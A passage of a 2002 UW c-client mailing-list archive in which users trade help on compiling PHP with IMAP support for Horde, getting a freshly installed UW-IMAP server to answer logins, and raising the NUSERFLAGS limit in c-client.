23:13:00 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g79696eY055048 for ; Thu, 8 Aug 2002 23:09:06 -0700 Received: FROM mxu4.u.washington.edu BY mailscan6.cac.washington.edu ; Thu Aug 08 23:09:05 2002 -0700 Received: from mail.gmx.net (mail.gmx.net [213.165.64.20]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g79693s8015124 for ; Thu, 8 Aug 2002 23:09:04 -0700 Received: (qmail 20291 invoked by uid 0); 9 Aug 2002 06:09:03 -0000 Received: from mtpc11-80.hdm-stuttgart.de (HELO MTPC1180) (141.62.11.80) by mail.gmx.net (mp007-rz3) with SMTP; 9 Aug 2002 06:09:03 -0000 Message-Id: <001901c23f6c$62668920$500b3e8d@hdmstuttgart.de> Date: Fri, 9 Aug 2002 08:17:05 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "andy" To: "Michael Geary" Cc: Subject: Re: getting PHP --with-imap to work on OS X? References: <4891E3AE-AB0E-11D6-BA59-003065B85DAA@gearyweb.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN having compiled and installed UW-IMAP on my machine includes the installation of the c-library you are describing To: "andy" Sent: Thursday, August 08, 2002 10:34 PM Subject: Re: getting PHP --with-imap to work on OS X? Hi Andy, It is my understanding (though I'm willing to be proven wrong) that having compiled and installed UW-IMAP on my machine includes the installation of the c-library you are describing. I, too, want to get horde running. Can you please me more granular about what's involved? Du kannst ruhig auch mich persönlich auf Deustch schreiben, wenn es Dich motivieren würde, mehr Hilfe zu geben! Thanks very much. michael On Thursday, August 8, 2002, at 02:39 PM, andy wrote: > Michael: > > havent done this on X but on suse. So basicly you have to install the > c-library. doc comes with it to compile php with imap support. I did > this to > get horde running. > > Good luck, > > Andy From pinedev@shivax2.cac.washington.edu Fri Aug 9 09:58:47 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 9 Aug 2002 09:58:47 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g79Gwk2P021058 for ; Fri, 9 Aug 2002 09:58:46 -0700 Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Fri Aug 09 09:58:45 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g79GwiXF015195 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 9 Aug 2002 09:58:45 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g79GvplZ031384; Fri, 9 Aug 2002 09:57:51 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g79GraeY087386 for ; Fri, 9 Aug 2002 09:53:36 -0700 Received: FROM mxu1.u.washington.edu BY mailscan2.cac.washington.edu ; Fri Aug 09 09:53:35 2002 -0700 Received: from mail.gearyweb.com ([166.70.44.49]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g79GrYR8027290 for ; Fri, 9 Aug 2002 09:53:35 -0700 Received: from localhost (unknown [166.70.44.49]) by mail.gearyweb.com (Postfix) with ESMTP id B8ED7359F4; Fri, 9 Aug 2002 10:53:27 -0600 (MDT) Message-Id: <49030C04-ABB8-11D6-B6A1-003065B85DAA@gearyweb.com> Date: Fri, 9 Aug 2002 10:51:44 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Michael Geary To: "andy" Cc: Subject: Re: getting PHP --with-imap to work on OS X? In-Reply-To: <001901c23f6c$62668920$500b3e8d@hdmstuttgart.de> Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v482) Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi Andy, Believe it or not, this appears to have brought me a little further. However, I didn't see any place in the manual which describes moving folders. Which manual, exactly, are you referring to? FYI, PHP _appears_ to compile now, but when I install the libphp4.so module and restart apache, I get an error that it can't load the .so file, (reason unknown). Anyone know what could be causing this? thanks, michael On Friday, August 9, 2002, at 12:17 AM, andy wrote: > > what I did is to download c-client.tar.Z which extracted anyhow to > imap-2002.RC2. Then I did build this on my linux system and moved the 3 > folders (they appear after building) to the propper location as > described in > the manual. Then configured php with imap and boom .. it works! > > Andy > From pinedev@shivax2.cac.washington.edu Sat Aug 10 06:06:42 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 10 Aug 2002 06:06:42 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7AD6g2P023387 for ; Sat, 10 Aug 2002 06:06:42 -0700 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Sat Aug 10 06:06:40 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7AD6eXF011074 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sat, 10 Aug 2002 06:06:40 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7AD5teo023958; Sat, 10 Aug 2002 06:05:55 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7AD1TeY080450 for ; Sat, 10 Aug 2002 06:01:29 -0700 Received: FROM mxu4.u.washington.edu BY mailscan1.cac.washington.edu ; Sat Aug 10 06:01:25 2002 -0700 Received: from mail.gmx.net (mail.gmx.net [213.165.64.20]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7AD1Ns8012223 for ; Sat, 10 Aug 2002 06:01:24 -0700 Received: (qmail 29020 invoked by uid 0); 10 Aug 2002 13:01:22 -0000 Received: from mtpc11-80.hdm-stuttgart.de (HELO MTPC1180) (141.62.11.80) by mail.gmx.net (mp014-rz3) with SMTP; 10 Aug 2002 13:01:22 -0000 Message-Id: <001101c2406f$28bbf7b0$500b3e8d@hdmstuttgart.de> Date: Sat, 10 Aug 2002 15:09:28 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "andy" To: "Michael Geary" Cc: Subject: Re: getting PHP --with-imap to work on OS X? References: <49030C04-ABB8-11D6-B6A1-003065B85DAA@gearyweb.com> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_000E_01C2407F.EBF56F30" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_000E_01C2407F.EBF56F30 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Michael, I diged up a help file I wrote to install horde. It describes deaply how to do this step by step, including building c-client. Thats all I can do for you. Hope this helps you out. See the file atached. Regards, Andy ----- Original Message ----- From: "Michael Geary" To: "andy" Cc: Sent: Friday, August 09, 2002 6:51 PM Subject: Re: getting PHP --with-imap to work on OS X? > Hi Andy, > > Believe it or not, this appears to have brought me a little further. > However, I didn't see any place in the manual which describes moving > folders. Which manual, exactly, are you referring to? > > FYI, PHP _appears_ to compile now, but when I install the libphp4.so > module and restart apache, I get an error that it can't load the .so > file, (reason unknown). > > Anyone know what could be causing this? > > thanks, > > michael > > > On Friday, August 9, 2002, at 12:17 AM, andy wrote: > > > > what I did is to download c-client.tar.Z which extracted anyhow to > > imap-2002.RC2. Then I did build this on my linux system and moved the 3 > > folders (they appear after building) to the propper location as > > described in > > the manual. Then configured php with imap and boom .. it works! > > > > Andy > > > ------=_NextPart_000_000E_01C2407F.EBF56F30 Content-Type: text/plain; name="installing_horde.txt" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="installing_horde.txt" There has to be a lot of installation work done to get this thing = working. 1.0 Gettext - cd into dir - ./configure - make - make check - make install 2.0 imap-2002 c-client library univercity washington =09 pam-devel rpm installieren - make lsu (for suse linux) cp -R imapd/ /usr/local/ cp -R ipopd/ /usr/local/ rpm inetd instalieren /etc/inetd.conf editieren: pop2 stream tcp nowait root /usr/local/ipopd/ipop2d pop3 stream tcp nowait root /usr/local/ipopd/ipop3d imap stream tcp nowait root /usr/local/imapd/imapd alles andere auskommentieren /etc/init.d/inetd start bzw. restart =09 2.5 php build=09 ./configure --with-gd=3D/home/andy/sw/gd-2.0.1 = --with-freetype-dir=3D/usr/local/lib --enable-gd-native-ttf = --enable-gd-imgstrttf --with-jpeg-dir=3D/usr --with-png-dir=3D/usr = --with-zlib --with-apxs=3D/usr/local/apache/bin/apxs --enable-ftp = --with-mysql --with-pdflib --with-xml = --with-imap=3D/home/andy/sw/horde/imap-2002.RC2 --with-gettext 3.0 unpack the log class for php pear (this seems to be needed at least = till php4.2.2, check test.php first if it says that log class is working = or not) =09 -unpack - move all of the files within the Log-1.2 directory into the php lib directory (e.g. /usr/local/lib/php) mv * /usr/local/lib/php 4.0 install turba (adressbook) 5.0 install calendar 6.0 install pspell/asspell (spellchecker) pspell-.12.2 % wget http://download.sourceforge.net/pspell/pspell-.12.2.tar.gz % gtar zxvf pspell-.12.2.tar.gz % cd pspel-.12.2 % ./configure >& CONFIG_LOG % make >& MAKE_LOG % su # make install >& MAKE_INST_LOG ------=_NextPart_000_000E_01C2407F.EBF56F30-- From pinedev@shivax2.cac.washington.edu Sat Aug 10 06:10:32 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 10 Aug 2002 06:10:32 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7ADAW2P023449 for ; Sat, 10 Aug 2002 06:10:32 -0700 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Sat Aug 10 06:10:31 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7ADAVIH004803 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sat, 10 Aug 2002 06:10:31 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7AD9rlZ023832; Sat, 10 Aug 2002 06:09:53 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7AD6FeY036900 for ; Sat, 10 Aug 2002 06:06:15 -0700 Received: FROM mxu3.u.washington.edu BY mailscan2.cac.washington.edu ; Sat Aug 10 06:06:14 2002 -0700 Received: from mail.gmx.net (mail.gmx.net [213.165.64.20]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7AD6Dbq018874 for ; Sat, 10 Aug 2002 06:06:14 -0700 Received: (qmail 322 invoked by uid 0); 10 Aug 2002 13:06:12 -0000 Received: from mtpc11-80.hdm-stuttgart.de (HELO MTPC1180) (141.62.11.80) by mail.gmx.net (mp007-rz3) with SMTP; 10 Aug 2002 13:06:12 -0000 Message-Id: <001e01c2406f$d5621e40$500b3e8d@hdmstuttgart.de> Date: Sat, 10 Aug 2002 15:14:18 +0200 Reply-To: "andy" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "andy" To: Subject: cant login to uw-imap account MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_001B_01C24080.98BB79D0" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_001B_01C24080.98BB79D0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi there, I just installed uw-imap and the installation was ok, since everything = went fine and I could compile php with imap. Now I am trying to login to this imap server via a client. = Unfortunatelly it always tells me that the account info is wrong. I tryed a adress like imap.server.com Also I did include the adress I am comming from in hosts.allow and I am = trying to get the email from user account on the linux machine. Is there something additional I have to do, configure, to use my new = imap server? Thanx for any hint on that. Andy ------=_NextPart_000_001B_01C24080.98BB79D0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    Hi there,
     
    I just installed uw-imap and the = installation was=20 ok, since everything went fine and I could compile php with = imap.
     
    Now I am trying to login to this imap = server via a=20 client. Unfortunatelly it always tells me that the account info is=20 wrong.
    I tryed a adress like = imap.server.com
     
    Also I did include the adress I am = comming from in=20 hosts.allow and I am trying to get the email from  user account on = the=20 linux machine.
     
    Is there something additional I have to = do,=20 configure, to use my new imap server?
     
    Thanx for any hint on = that.
     
    Andy
    ------=_NextPart_000_001B_01C24080.98BB79D0-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Aug 11 09:21:37 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 11 Aug 2002 09:21:37 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7BGLb2P026113 for ; Sun, 11 Aug 2002 09:21:37 -0700 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Sun Aug 11 09:21:37 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7BGLRIH001070 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 11 Aug 2002 09:21:27 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7BGJVeo073636; Sun, 11 Aug 2002 09:19:31 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7BGDleY096242 for ; Sun, 11 Aug 2002 09:13:48 -0700 Received: FROM mxu1.u.washington.edu BY mailscan5.cac.washington.edu ; Sun Aug 11 09:13:47 2002 -0700 Received: from cmailg1.svr.pol.co.uk (cmailg1.svr.pol.co.uk [195.92.195.171]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7BGDkR8021102 for ; Sun, 11 Aug 2002 09:13:46 -0700 Received: from [195.92.67.23] (helo=mail18.svr.pol.co.uk) by cmailg1.svr.pol.co.uk with esmtp (Exim 3.35 #1) id 17dvLd-00034j-00 for c-client@u.washington.edu; Sun, 11 Aug 2002 17:13:45 +0100 Received: from modem-3590.antelope.dialup.pol.co.uk ([217.134.30.6]) by mail18.svr.pol.co.uk with esmtp (Exim 3.35 #1) id 17dvLc-0000hU-00 for c-client@u.washington.edu; Sun, 11 Aug 2002 17:13:45 +0100 Message-Id: Date: Sun, 11 Aug 2002 17:13:40 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Elvers To: c-client@u.washington.edu Subject: User flags MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have reason to need 32 user flag,s which seems to be possible as the elt->user_flags field is an unsigned long. NUSERFLAGS which governs the size of stream->user_flags[] is set to 30 in mail.h and there is a comment on the line above which reads "These can't be changed without changing code". As the stream->user_flags array needs NIL as the last element what are the implications of changing NUSERFLAGS to 33. Thanks Mark -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Aug 11 14:20:14 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 11 Aug 2002 14:20:14 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7BLKE2P030872 for ; Sun, 11 Aug 2002 14:20:14 -0700 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Sun Aug 11 14:20:13 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7BLKCIH005928 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 11 Aug 2002 14:20:12 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7BLIheo092180; Sun, 11 Aug 2002 14:18:44 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7BLFNeY096012 for ; Sun, 11 Aug 2002 14:15:23 -0700 Received: FROM mxu4.u.washington.edu BY mailscan1.cac.washington.edu ; Sun Aug 11 14:15:22 2002 -0700 Received: from listsrv.developerschoice.net (ns1.developerschoice.net [209.69.202.2]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7BLFMs8031515 for ; Sun, 11 Aug 2002 14:15:22 -0700 Received: from webmail by listsrv.developerschoice.net with local (Exim 3.34 #4) id 17e01U-0002Dx-00; Sun, 11 Aug 2002 17:13:16 -0400 Message-Id: Date: Sun, 11 Aug 2002 17:13:16 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: To: andy , Subject: Re: cant login to uw-imap account In-Reply-To: <001e01c2406f$d5621e40$500b3e8d@hdmstuttgart.de> References: <001e01c2406f$d5621e40$500b3e8d@hdmstuttgart.de> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Sender: X-Originating-IP: 24.247.49.248 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN First things first. Unless you have a nameserver entry for imap.server.com, it won't work regardless of whether or not you have a clean compile of PHP. You need to use the machine name, or better yet, just use the IP address of the machine since your nameserver entries could be suspect. If you really want to be creative, log into the machine and 'telnet localhost 143' and see what you get. If you see an imap server response, you're in business and the issue is probably calling the correct host. If you do not see an imap server prompt, then your target machine does not have the imap server properly installed. Depending upon your OS, it's likely you're going to have to edit /etc/inetd.conf and enable it. If you're lucky enough to be running something like Red Hat that uses xinetd, then you'll have to insert a xinetd config file for imap service (lots of fun). Good luck, hope this helps. On 08.10.2002 at 09:09:22, andy wrote: > Hi there, > > I just installed uw-imap and the installation was ok, since everything went > fine and I could compile php with imap. > > Now I am trying to login to this imap server via a client. Unfortunatelly > it always tells me that the account info is wrong. > I tryed a adress like imap.server.com > > Also I did include the adress I am comming from in hosts.allow and I am > trying to get the email from user account on the linux machine. > > Is there something additional I have to do, configure, to use my new imap > server? > > Thanx for any hint on that. > > Andy > From pinedev@shivax2.cac.washington.edu Mon Aug 12 03:04:19 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 12 Aug 2002 03:04:19 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7CA4I2P013714 for ; Mon, 12 Aug 2002 03:04:18 -0700 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Mon Aug 12 03:04:17 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7CA4HIH019686 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 12 Aug 2002 03:04:17 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7CA3Yeo075436; Mon, 12 Aug 2002 03:03:34 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7C9wpeY096084 for ; Mon, 12 Aug 2002 02:58:52 -0700 Received: FROM mxu1.u.washington.edu BY mailscan6.cac.washington.edu ; Mon Aug 12 02:58:50 2002 -0700 Received: from mail.gmx.net (mail.gmx.net [213.165.64.20]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7C9woR8003797 for ; Mon, 12 Aug 2002 02:58:50 -0700 Received: (qmail 11119 invoked by uid 0); 12 Aug 2002 09:58:49 -0000 Received: from mtpc11-80.hdm-stuttgart.de (HELO MTPC1180) (141.62.11.80) by mail.gmx.net (mp010-rz3) with SMTP; 12 Aug 2002 09:58:49 -0000 Message-Id: <000e01c241e8$0095ca70$500b3e8d@hdmstuttgart.de> Date: Mon, 12 Aug 2002 12:07:01 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "andy" To: Cc: Subject: Re: cant login to uw-imap account References: <001e01c2406f$d5621e40$500b3e8d@hdmstuttgart.de> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN thank you for the help. I did a telnet localhost 143 and it did not respond. I am running suse7.2 and did already add this line to /et/inetd.conf: imap stream tcp nowait root /usr/local/imapd/imapd but still does not work yet. Even worse all my email sent from the server has now the name of my hosting provider @provider.info and not my domain name. So I did screw something up! Do you have an idea on how to proceed from this point? Thanx in advance. ----- Original Message ----- From: To: "andy" ; Sent: Sunday, August 11, 2002 11:13 PM Subject: Re: cant login to uw-imap account > First things first. > > Unless you have a nameserver entry for imap.server.com, it won't work > regardless of whether or not you have a clean compile of PHP. You need to use > the machine name, or better yet, just use the IP address of the machine since > your nameserver entries could be suspect. > > If you really want to be creative, log into the machine and 'telnet localhost > 143' and see what you get. If you see an imap server response, you're in > business and the issue is probably calling the correct host. > > If you do not see an imap server prompt, then your target machine does not have > the imap server properly installed. Depending upon your OS, it's likely you're > going to have to edit /etc/inetd.conf and enable it. If you're lucky enough to > be running something like Red Hat that uses xinetd, then you'll have to insert > a xinetd config file for imap service (lots of fun). > > Good luck, hope this helps. > > > On 08.10.2002 at 09:09:22, andy wrote: > > > Hi there, > > > > I just installed uw-imap and the installation was ok, since everything went > > fine and I could compile php with imap. > > > > Now I am trying to login to this imap server via a client. Unfortunatelly > > it always tells me that the account info is wrong. > > I tryed a adress like imap.server.com > > > > Also I did include the adress I am comming from in hosts.allow and I am > > trying to get the email from user account on the linux machine. > > > > Is there something additional I have to do, configure, to use my new imap > > server? > > > > Thanx for any hint on that. > > > > Andy > > > From pinedev@shivax2.cac.washington.edu Mon Aug 12 07:40:21 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 12 Aug 2002 07:40:21 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7CEeK2P020273 for ; Mon, 12 Aug 2002 07:40:20 -0700 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Mon Aug 12 07:40:20 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7CEeJIH024970 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 12 Aug 2002 07:40:19 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7CEdfeo085962; Mon, 12 Aug 2002 07:39:41 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7CEZfeY057270 for ; Mon, 12 Aug 2002 07:35:41 -0700 Received: FROM mxu3.u.washington.edu BY mailscan6.cac.washington.edu ; Mon Aug 12 07:35:40 2002 -0700 Received: from secure4.developerschoice.net ([209.69.207.2]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7CEZebq020834 for ; Mon, 12 Aug 2002 07:35:40 -0700 Received: from taylor.developerschoice.net ([209.69.206.2] helo=office3 ident=hidden-user) by secure4.developerschoice.net with asmtp (Exim 3.34 #4) id 17eGFo-0005Yv-00; Mon, 12 Aug 2002 10:33:08 -0400 Message-Id: <7DFBE66616403040B7740D9380A671C702A653@EXCHANGE1.developerschoice.com> Date: Mon, 12 Aug 2002 10:27:54 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jeff Breitner" To: "'andy'" Cc: Subject: RE: cant login to uw-imap account In-Reply-To: <000e01c241e8$0095ca70$500b3e8d@hdmstuttgart.de> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > I did a telnet localhost 143 and it did not respond. I am > running suse7.2 and did already add this line to /et/inetd.conf: > imap stream tcp nowait root /usr/local/imapd/imapd > > but still does not work yet. Even worse all my email sent > from the server has now the name of my hosting provider > @provider.info and not my domain name. So I did screw something up! > > Do you have an idea on how to proceed from this point? > Fix the problem of not being able to see the imap server. The c-client IMAP makefile will not copy your imapd into the proper location on your machine, so make sure you copy it into /usr/local/imapd/imapd. I suspect that your Suse installation might have some firewalling installed, but it seems strange that it's denying accesses on localhost. Check your log files to see if inetd gives an indication why it's not firing up imapd for you. From pinedev@shivax2.cac.washington.edu Mon Aug 12 18:12:54 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 12 Aug 2002 18:12:53 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7D1Cr2P012355 for ; Mon, 12 Aug 2002 18:12:53 -0700 Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Mon Aug 12 18:12:52 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7D1CqEN013323 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 12 Aug 2002 18:12:52 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7D1CFR8024320; Mon, 12 Aug 2002 18:12:15 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7D17LeY055790 for ; Mon, 12 Aug 2002 18:07:21 -0700 Received: FROM mxu2.u.washington.edu BY mailscan5.cac.washington.edu ; Mon Aug 12 